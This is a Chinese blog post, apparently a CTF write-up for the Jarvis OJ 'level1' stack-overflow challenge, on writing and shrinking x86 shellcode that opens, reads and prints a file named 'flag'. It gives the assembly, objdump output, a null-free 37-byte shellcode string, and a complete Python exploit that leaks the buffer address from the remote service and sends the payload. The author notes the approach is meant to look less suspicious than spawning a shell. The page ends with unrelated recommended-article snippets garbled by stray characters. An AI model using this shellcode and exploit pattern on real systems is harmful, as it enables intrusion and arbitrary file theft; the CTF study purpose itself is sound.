[Linux_x86棧溢出攻擊] 如何優(yōu)化shellcode(讀取任意文件)


簡介 :

漏洞程序 : https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5
利用方式 : 棧溢出 (執(zhí)行 shellcode)
遠程主機 : pwn2.jarvisoj.com
端    口 : 9877
備    注 : 所有的程序以及利用代碼都已經(jīng)分享到了 https://coding.net/u/yihangwang/p/pwnme/git 中
           有需要的小伙伴可以自行下載

分析 :

之前做過這道題(http://www.reibang.com/p/d267577c7af1)
NX保護沒有開啟 , 而且也打印出了 buffer 的地址
因此可以注入shellcode , 之前的做法是注入 execve("/bin/sh") 的shellcode直接獲取shell
今天家偉在做這道題 , 突然想到了一個新的思路 (不過這個思路并不是很通用...只是隨便試試)
具體的思路是 : 
并不調(diào)用 execve() 這個系統(tǒng)調(diào)用
而是假定 flag 就藏在可執(zhí)行程序的同級目錄下 , 文件名就叫 flag (嗯 , 一定是這樣)
這樣我們就可以來寫 shellcode 直接讀取這個文件并打印出來
這樣有一個好處就是 , 并不會使用到 execve 這種非常敏感的系統(tǒng)調(diào)用
只使用 open , read , write 來實現(xiàn) , 讓目標主機的感覺更無害

shellcode :

global _start
    _start:
        ; int open(const char *pathname, int flags);
        mov edx, 0
        mov ecx, 0 ; #DEFINE O_RDONLY 0
        ; 具體的宏定義可以這里查詢 : 
        ; http://lxr.free-electrons.com/source/include/asm-generic/fcntl.h?v=2.6.35#L8 
        ; 也可以自己寫個 C 程序打印出來看
        push ecx
        push "flag" ; nasm匯編器有一個好處就是可以直接 push 四字節(jié)的字符串 , 而不用轉(zhuǎn)成 16 進制
        mov ebx, esp
        mov eax, 05H
        int 80H
        ; ssize_t read(int fd, void *buf, size_t count);
        mov edx, 0FFH ; 讀 0xFF 個字節(jié)到棧上
        mov ecx, esp
        mov ebx, eax ; get fd
        mov eax, 03H
        int 80H
        ; ssize_t write(int fd, const void *buf, size_t count);
        mov edx, 0FFH ; 打印棧上的 0xFF 個字節(jié)
        mov ecx,esp
        mov ebx,1
        mov eax, 04H
        int 80H
        ; exit
        mov eax,01H
        int 80H

機器碼 :

sun@sun:~/pwnme/shellcode/15$ objdump -d shellcode

shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:   ba 00 00 00 00          mov    $0x0,%edx
 8048065:   b9 00 00 00 00          mov    $0x0,%ecx
 804806a:   51                      push   %ecx
 804806b:   68 66 6c 61 67          push   $0x67616c66
 8048070:   89 e3                   mov    %esp,%ebx
 8048072:   b8 05 00 00 00          mov    $0x5,%eax
 8048077:   cd 80                   int    $0x80
 8048079:   ba ff 00 00 00          mov    $0xff,%edx
 804807e:   89 e1                   mov    %esp,%ecx
 8048080:   89 c3                   mov    %eax,%ebx
 8048082:   b8 03 00 00 00          mov    $0x3,%eax
 8048087:   cd 80                   int    $0x80
 8048089:   ba ff 00 00 00          mov    $0xff,%edx
 804808e:   89 e1                   mov    %esp,%ecx
 8048090:   bb 01 00 00 00          mov    $0x1,%ebx
 8048095:   b8 04 00 00 00          mov    $0x4,%eax
 804809a:   cd 80                   int    $0x80
 804809c:   b8 01 00 00 00          mov    $0x1,%eax
 80480a1:   cd 80                   int    $0x80

shellcode :

shellcode = "\xba\x00\x00\x00\x00\xb9\x00\x00"
            "\x00\x00\x51\x68\x66\x6c\x61\x67"
            "\x89\xe3\xb8\x05\x00\x00\x00\xcd"
            "\x80\xba\xff\x00\x00\x00\x89\xe1"
            "\x89\xc3\xb8\x03\x00\x00\x00\xcd"
            "\x80\xba\xff\x00\x00\x00\x89\xe1"
            "\xbb\x01\x00\x00\x00\xb8\x04\x00"
            "\x00\x00\xcd\x80\xb8\x01\x00\x00"
            "\x00\xcd\x80"

執(zhí)行結(jié)果 :

Paste_Image.png
Paste_Image.png

優(yōu)化shellcode :

可以看到上面用到的shellcode還是很長的(62 Bytes) , 因此我們本著高標準嚴要求的準則
對 shellcode 進行精簡
1. 0 字節(jié)優(yōu)化
2. 寄存器復(fù)用
3. 精簡某些指令
(更多的優(yōu)化技巧請參考 : Shellcode奇技淫巧匯總[持續(xù)更新] http://www.reibang.com/p/a706ddc1d6bb)
Paste_Image.png
Paste_Image.png
Paste_Image.png

優(yōu)化后的匯編程序和shellcode

shellcode.asm

global _start
    _start:
        ; int open(const char *pathname, int flags);
        xor ecx, ecx ; #DEFINE O_RDONLY 0
        ; 具體的宏定義可以這里查詢 : 
        ; http://lxr.free-electrons.com/source/include/asm-generic/fcntl.h?v=2.6.35#L8 
        ; 也可以自己寫個 C 程序打印出來看
        push ecx
        push "flag" ; nasm匯編器有一個好處就是可以直接 push 四字節(jié)的字符串 , 而不用轉(zhuǎn)成 16 進制
        mov ebx, esp
        xor eax, eax
        cdq
        mov al, 05H
        int 80H
        ; ssize_t read(int fd, void *buf, size_t count);
        mov dl, 0FFH ; 讀 0xFF 個字節(jié)到棧上
        mov ecx, esp
        mov ebx, eax ; get fd
        mov al, 03H
        int 80H
        ; ssize_t write(int fd, const void *buf, size_t count);
        mov dl, 0FFH ; 打印棧上的 0xFF 個字節(jié)
        xor ebx, ebx
        mov bl,1
        mov al, 04H
        int 80H
Paste_Image.png
Paste_Image.png
可以看到經(jīng)過優(yōu)化后的 shellcode 只有 37 字節(jié) , 而且沒有 0 字節(jié)
整整減少了 25 字節(jié) , 而且功能并沒有變化

現(xiàn)在我們的 exploit.py 腳本 :

#!/usr/bin/env python
# encoding:utf-8

import zio

distance = 0x88 + 4
# shellcode = "\xba\x00\x00\x00\x00\xb9\x00\x00\x00\x00\x51\x68\x66\x6c\x61\x67\x89\xe3\xb8\x05\x00\x00\x00\xcd\x80\xba\xff\x00\x00\x00\x89\xe1\x89\xc3\xb8\x03\x00\x00\x00\xcd\x80\xba\xff\x00\x00\x00\x89\xe1\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80"
shellcode = "\x31\xc9\x51\x68\x66\x6c\x61\x67\x89\xe3\x31\xc0\x99\xb0\x05\xcd\x80\xb2\xff\x89\xe1\x89\xc3\xb0\x03\xcd\x80\xb2\xff\x31\xdb\xb3\x01\xb0\x04\xcd\x80"
junk = "A" * (distance - len(shellcode))

# Io = zio.zio("./level1")
Io = zio.zio(("pwn2.jarvisoj.com", 9877))
line = Io.readline() # 接受到的數(shù)據(jù)為 : What's this:0xffe36e40?
address = zio.l32(int(line[len("What's this:"):-2], 16)) # 程序運行之后才可以得到
payload = shellcode + junk + address
Io.write(payload)
Io.interact()
Paste_Image.png

總結(jié) :

在CTF比賽中 , 如果一道 pwn 可以棧溢出執(zhí)行 shellcode
而且也可以假定 flag 就在當前目錄下 , 那么就可以使用這個shellcode 進行讀取
如果并不在當前目錄 , 那么就對 shellcode.asm 進行一些簡單地調(diào)整
就可以讀取任意文件

推薦 :

關(guān)于如何編寫長度很短的shellcode , 推薦一個中文視頻 : 
https://www.youtube.com/edit?o=U&video_id=VwTUIZiJ5m4
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末琳骡,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌炫贤,老刑警劉巖冠王,帶你破解...
    沈念sama閱讀 217,657評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡结澄,警方通過查閱死者的電腦和手機奕枝,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評論 3 394
  • 文/潘曉璐 我一進店門棺榔,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人隘道,你說我怎么就攤上這事症歇。” “怎么了谭梗?”我有些...
    開封第一講書人閱讀 164,057評論 0 354
  • 文/不壞的土叔 我叫張陵忘晤,是天一觀的道長。 經(jīng)常有香客問我激捏,道長德频,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,509評論 1 293
  • 正文 為了忘掉前任缩幸,我火速辦了婚禮壹置,結(jié)果婚禮上竞思,老公的妹妹穿的比我還像新娘。我一直安慰自己钞护,他們只是感情好盖喷,可當我...
    茶點故事閱讀 67,562評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著难咕,像睡著了一般课梳。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上余佃,一...
    開封第一講書人閱讀 51,443評論 1 302
  • 那天暮刃,我揣著相機與錄音,去河邊找鬼爆土。 笑死椭懊,一個胖子當著我的面吹牛,可吹牛的內(nèi)容都是我干的步势。 我是一名探鬼主播氧猬,決...
    沈念sama閱讀 40,251評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼坏瘩!你這毒婦竟也來了盅抚?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,129評論 0 276
  • 序言:老撾萬榮一對情侶失蹤倔矾,失蹤者是張志新(化名)和其女友劉穎妄均,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體哪自,經(jīng)...
    沈念sama閱讀 45,561評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡丛晦,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,779評論 3 335
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了提陶。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片烫沙。...
    茶點故事閱讀 39,902評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖隙笆,靈堂內(nèi)的尸體忽然破棺而出锌蓄,到底是詐尸還是另有隱情,我是刑警寧澤撑柔,帶...
    沈念sama閱讀 35,621評論 5 345
  • 正文 年R本政府宣布瘸爽,位于F島的核電站,受9級特大地震影響铅忿,放射性物質(zhì)發(fā)生泄漏剪决。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,220評論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望柑潦。 院中可真熱鬧享言,春花似錦、人聲如沸渗鬼。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,838評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽譬胎。三九已至差牛,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間堰乔,已是汗流浹背偏化。 一陣腳步聲響...
    開封第一講書人閱讀 32,971評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留镐侯,地道東北人侦讨。 一個月前我還...
    沈念sama閱讀 48,025評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像析孽,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子只怎,可洞房花燭夜當晚...
    茶點故事閱讀 44,843評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 0. 引言 如果你學(xué)的第一門程序語言是C語言袜瞬,那么下面這段程序很可能是你寫出來的第一個有完整的 “輸入---處理-...
    pandolia閱讀 14,051評論 13 27
  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,116評論 25 707
  • 01 假如你已經(jīng)長大 你就要獨自度過天黑踏過路滑 你要告別媽媽 你要四海為家 假如你已經(jīng)長大 你還要要獨自體驗世間...
    熙官寶閱讀 242評論 0 3
  • 剛子匆匆忙忙要去工地,妻子深情地拉住剛子手說:老公今天加把勁身堡,多出點活兒邓尤,中午吃飯等我電話叫你! 干了一上午的活兒...
    宏波_閱讀 162評論 0 0
  • 星期五放學(xué)回來贴谎。 黃小裝很開心的樣子汞扎,老媽錯認為是周末的原因。 結(jié)果人家說:‘’今晚又能去大都書局參加朗讀者了擅这;還...
    小飯裝閱讀 94評論 0 1